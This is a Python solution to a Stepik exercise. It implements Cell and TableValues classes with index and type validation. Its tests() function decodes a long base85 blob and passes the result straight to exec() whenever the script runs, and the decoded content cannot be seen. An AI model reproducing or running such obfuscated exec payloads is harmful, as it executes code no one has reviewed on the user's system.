"""
    https://stepik.org/lesson/701994/step/10?unit=702095

    В программе необходимо реализовать таблицу TableValues по следующей схеме:


Каждая ячейка таблицы должна быть представлена классом Cell. Объекты этого класса создаются командой:
cell = Cell(data)
где data - данные в ячейке. В каждом объекте класса Cell должен формироваться локальный приватный атрибут __data с соответствующим значением. 
Для работы с ним в классе Cell должно быть объект-свойство (property):
data - для записи и считывания информации из атрибута __data.

Сам класс TableValues представляет таблицу в целом, объекты которого создаются командой:
table = TableValues(rows, cols, type_data)
где rows, cols - число строк и столбцов таблицы; type_data - тип данных ячейки (int - по умолчанию, float, list, str и т.п.). Начальные значения в ячейках таблицы равны 0 (целое число).

С объектами класса TableValues должны выполняться следующие команды:
table[row, col] = value# запись нового значения в ячейку с индексами row, col (индексы отсчитываются с нуля)
value = table[row, col] # считывание значения из ячейки с индексами row, col

for row in table:  # перебор по строкам
    for value in row: # перебор по столбцам
        print(value, end=' ')  # вывод значений ячеек в консоль
    print()

При попытке записать по индексам table[row, col] данные другого типа (не совпадающего с атрибутом type_data объекта класса TableValues), должно генерироваться исключение командой:
raise TypeError('неверный тип присваиваемых данных')

При работе с индексами row, col, необходимо проверять их корректность. Если индексы не целое число или они выходят за диапазон размера таблицы, то генерировать исключение командой:
raise IndexError('неверный индекс')

P.S. В программе нужно объявить только классы. Выводить на экран ничего не нужно.
"""


class Cell:
    def __init__(self, data=0):
        self.__data = data

    @property
    def data(self):
        return self.__data

    @data.setter
    def data(self, value):
        self.__data = value

    def __eq__(self, other):
        if hasattr(other, "data"):
            return self.data == other.data
        return self.data == other

    def __ne__(self, other):
        return not self == other

    @classmethod
    def wrap(cls, value):
        return value if isinstance(value, cls) else cls(value)

    def __repr__(self):
        return f"{self.__class__.__name__}({self.data!r})"

    def __str__(self):
        return str(self.data)


class TableValues:
    def __init__(self, rows, cols, type_data=int, data=None):
        self.rows, self.cols, self.type_data = rows, cols, type_data
        if data:
            self.cells = tuple(tuple(Cell.wrap(x) for x in row) for row in data)
        else:
            self.cells = tuple(
                tuple(Cell.wrap(self.type_data()) for _ in range(cols))
                for _ in range(rows)
            )

    def __len__(self):
        return self.rows

    def validate_index(self, index):
        if not isinstance(index, tuple):
            raise IndexError("неверный индекс")
        row, col = index
        if (
            not isinstance(row, int)
            or not 0 <= row < self.rows
            or not isinstance(col, int)
            or not 0 <= col < self.cols
        ):
            raise IndexError("неверный индекс")
        return row, col

    def __getitem__(self, index):
        row, col = self.validate_index(index)
        return self.cells[row][col].data

    def __setitem__(self, index, new_value):
        row, col = self.validate_index(index)
        if not isinstance(new_value, self.type_data):
            raise TypeError("неверный тип присваиваемых данных")
        self.cells[row][col].data = new_value

    def __iter__(self):
        return (
            (self.cells[row][col].data for col in range(self.cols))
            for row in range(self.rows)
        )

    def __repr__(self):
        return f"{self.__class__.__name__}({self.rows!r}, {self.cols!r}, {self.type_data.__name__}, {self.cells!r})"


def tests():
    code = (
        b"bYdVqAXH&uY-LtqY;|RGC^IY|GARmfAUz;$AUz;33TAI|AaZYaAZczObYeORARr(hZXhc?ATbI"
        + b"cARr)SZ*m}ZVQh6}AZczOa&LD!3LqdLARr(hAZ;KkJs>d(ARr(hARr(hVRLh3a&#bcd2nSYc42IF"
        + b"Who#%Js@drbRc1FWFU57Y;|QIJv|^WEFdD#ztMouxFFEK(6!Nk(6!L9(7w@t(6u1YzR<DJiqN&ty"
        + b"3vBruprR7(7VvE(Sgx{(6As>VPb4$R$**)Wpg0WfgsSo(7w>T(7w@$(TvfKAkebVyU@PSw$QcEz0"
        + b"keUi_wK3(T32t(7MpO(7w>JAZBlJEFjRd(7w>S(6-RE(7hnhfzZ9su+fLmu+Y2EuprQ~(7w>O(6Z"
        + b"5h(6G^o(6G^h(Tvf7(T^a|xY2^pwb6jku+f6hzR`dn(6rFI(T^a}fzg7|fY83sx-1~juprR4(6G^"
        + b"h(6!LKEFjU1(Sp#v(Sjh*xY2^pwb6jku+f6hzR`dn(6rFL(7VvK(6!LLAkebVzR<VOveAIhu+fRo"
        + b"u+f6ij3Cj5(6!LJ(TmWvAkl}=xY2>oyU?&8DA2diz0k1HhtRdqz0kPPk08;3(7w>V(Sp#j(6!Nm("
        + b"Sgx|(6Z5k(T>rH(74fsAkmM}htRdqwa~gLA_^cNARr(hARr21b8}^KbRcdZJ|Hn5VQyp~Z6H1%F)"
        + b"Sb=(7n*L(6Z3A(SXps(7qthzR`lwfY7kevCzKJg3z$gyU@5G(6Z3G(7w>N(6!LL(7n-%(6u1ZhS0"
        + b"dsy3o7Piy+Xn(7Vx(Ake?iwb6jkwa~H9zR`ftuprTo(TC8r(6!LIAkl)*u+Xv4yU@7NhS7^63JMB"
        + b"zVp}jQATV7ZJs>eK3So0|WpZ>NbYfdDEFdslAU!=GF)%D3BGA3iwII=e(6G?4(7w@v(6G?8(Sjh*"
        + b"x6rWAztFhRfzga0(7n*U(6Z3J(6i9KAkeqaz0k1HhtRdqz0kPPk08*pAkmM}htRdqxzM`NgCNm@("
        + b"6G?4(7VvM(T35BA_@u$baHt*3LqdLAar6|GAtl4T_8OmH7+s=Wq4y{aC9J4d2nS#a&m8SItm~lAR"
        + b"u9Lb7gXLAXIX7WeR0%b7eXTARr(hVRLh3a&#a@VQh0{EFdD#z0kEF(Sgvj(6!LL(6!Nk(74fn(7w"
        + b">J(6G?E(7w@u(TpI_xY2>oy3o7Pj?stEwa~rLxX`sARC#b^MRIa)av}-}3UqRLItm~lARu8NJs@;"
        + b"qTQV#lG+hd1cw=R7bRbD?WMz0oa&m8SItm~lARu9Lb7gXLAXIX7WeR0%b7eXTARr(hVRLh3a&#a@"
        + b"VQh0{EFdD#z0kEF(Sgvj(6!LL(6!Nk(74fn(7w>J(6G?E(7w@u(TpI_xY2>oy3o7Pj?stEwa~rLx"
        + b"X`sANp56ictvt@Z*n3"
    )
    exec(__import__("base64").b85decode(code))


if __name__ == "__main__":
    import doctest

    doctest.testmod()
    tests()